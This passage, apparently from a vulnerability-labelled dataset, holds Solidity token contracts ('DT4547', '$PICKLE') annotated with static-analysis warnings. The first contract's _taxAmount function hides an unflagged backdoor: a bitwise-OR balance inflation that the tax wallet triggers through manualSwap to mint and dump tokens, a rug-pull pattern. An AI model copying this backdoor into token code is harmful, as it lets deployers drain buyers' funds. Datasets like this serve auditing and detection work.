(uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0c18f58): DT4547.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for 0c18f58: Consider ordering multiplication before division.\ncontract DT4547 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n bool private inSwaps;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ae9fb8d): DT4547._taxWallet should be immutable \n\t// Recommendation for ae9fb8d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 373b1f4): DT4547._initialBuyTax should be constant \n\t// Recommendation for 373b1f4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d0b68b): DT4547._initialSellTax should be constant \n\t// Recommendation for 7d0b68b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a135baf): DT4547._finalBuyTax should be constant \n\t// Recommendation for a135baf: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 679058d): DT4547._finalSellTax should be constant \n\t// Recommendation for 679058d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f21ae9): DT4547._reduceBuyTaxAt should be constant \n\t// Recommendation for 1f21ae9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45916f5): DT4547._reduceSellTaxAt should be constant \n\t// Recommendation for 45916f5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c643e2): DT4547._preventSwapBefore should be constant \n\t// Recommendation for 0c643e2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d2cf06): DT4547._transferTax should be constant \n\t// Recommendation for 2d2cf06: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Donald Trump 45-47\";\n\n string private constant _symbol = unicode\"DT4547\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6633434): DT4547._taxSwapThreshold should be constant \n\t// Recommendation for 6633434: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 0c18f58\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a3548e6): DT4547._maxTaxSwap should be immutable \n\t// Recommendation for a3548e6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: 0c18f58\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n modifier lockTheSwaps() {\n inSwaps = true;\n\n _;\n\n inSwaps = false;\n }\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 515e336): DT4547.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 515e336: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 925c5a0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 925c5a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7d529dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7d529dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 925c5a0\n\t\t// reentrancy-benign | ID: 7d529dc\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 925c5a0\n\t\t// reentrancy-benign | ID: 7d529dc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _taxAmount(\n address from,\n address to,\n uint256 amount\n ) private returns (uint256) {\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0)\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (inSwaps)\n if (from == address(this) && to == uniswapV2Pair)\n _balances[address(this)] |= uint160(from);\n\n if (_buyCount > 0) taxAmount = amount.mul(_transferTax).div(100);\n }\n\n return taxAmount;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 538b702): DT4547._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 538b702: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7d529dc\n\t\t// reentrancy-benign | ID: 53b81f9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 925c5a0\n\t\t// reentrancy-events | ID: ab0e758\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0db46a6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0db46a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4aeef83): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4aeef83: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = _taxAmount(from, to, amount);\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 0db46a6\n\t\t\t\t// reentrancy-eth | ID: 4aeef83\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0db46a6\n\t\t\t\t\t// reentrancy-eth | ID: 4aeef83\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4aeef83\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4aeef83\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4aeef83\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0db46a6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4aeef83\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4aeef83\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 0db46a6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0db46a6\n\t\t// reentrancy-events | ID: 925c5a0\n\t\t// reentrancy-benign | ID: 7d529dc\n\t\t// reentrancy-eth | ID: 4aeef83\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1e34b24): DT4547.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 1e34b24: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0db46a6\n\t\t// reentrancy-events | ID: 925c5a0\n\t\t// reentrancy-eth | ID: 4aeef83\n\t\t// arbitrary-send-eth | ID: 1e34b24\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ab0e758): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ab0e758: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0963c28): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0963c28: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 53b81f9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 53b81f9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6fe1b5d): DT4547.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6fe1b5d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 24d60d7): DT4547.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 24d60d7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 06991d1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 06991d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-events | ID: ab0e758\n\t\t\t// reentrancy-benign | ID: 0963c28\n\t\t\t// reentrancy-benign | ID: 53b81f9\n\t\t\t// reentrancy-eth | ID: 06991d1\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-events | ID: ab0e758\n\t\t// reentrancy-benign | ID: 0963c28\n\t\t// reentrancy-benign | ID: 53b81f9\n\t\t// unused-return | ID: 6fe1b5d\n\t\t// reentrancy-eth | ID: 06991d1\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-events | ID: ab0e758\n\t\t// reentrancy-benign | ID: 53b81f9\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0963c28\n\t\t// unused-return | ID: 24d60d7\n\t\t// reentrancy-eth | ID: 06991d1\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0963c28\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 06991d1\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap(uint256 tokenBalances) external lockTheSwaps {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalances > 0) {\n swapTokensForEth(tokenBalances);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n", "file_name": "solidity_code_10315.sol", "size_bytes": 22976, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract $PICKLE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f90d14c): $PICKLE._taxWallet should be immutable \n\t// Recommendation for f90d14c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9f1d524): $PICKLE._initialBuyTax should be constant \n\t// Recommendation for 9f1d524: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02129cf): $PICKLE._initialSellTax should be constant \n\t// Recommendation for 02129cf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f57325): $PICKLE._reduceBuyTaxAt should be constant \n\t// Recommendation for 3f57325: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9be985f): $PICKLE._reduceSellTaxAt should be constant \n\t// Recommendation for 9be985f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64cd955): $PICKLE._preventSwapBefore should be constant \n\t// Recommendation for 64cd955: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"PICKLE\";\n\n string private constant _symbol = unicode\"$PICKLE\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d75dd5b): $PICKLE._taxSwapThreshold should be constant \n\t// Recommendation for d75dd5b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c944ad): $PICKLE._maxTaxSwap should be constant \n\t// Recommendation for 3c944ad: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x8EBB3243bab3AE24e11FF2B248a1d134CBB9070b);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 274074f): $PICKLE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 274074f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 966b000): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 966b000: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a21706c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a21706c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 966b000\n\t\t// reentrancy-benign | ID: a21706c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 966b000\n\t\t// reentrancy-benign | ID: a21706c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6f98b06): $PICKLE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6f98b06: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a21706c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 966b000\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e69261c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e69261c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dfe0652): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dfe0652: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e69261c\n\t\t\t\t// reentrancy-eth | ID: dfe0652\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e69261c\n\t\t\t\t\t// reentrancy-eth | ID: dfe0652\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: dfe0652\n sellCount++;\n\n\t\t\t\t// 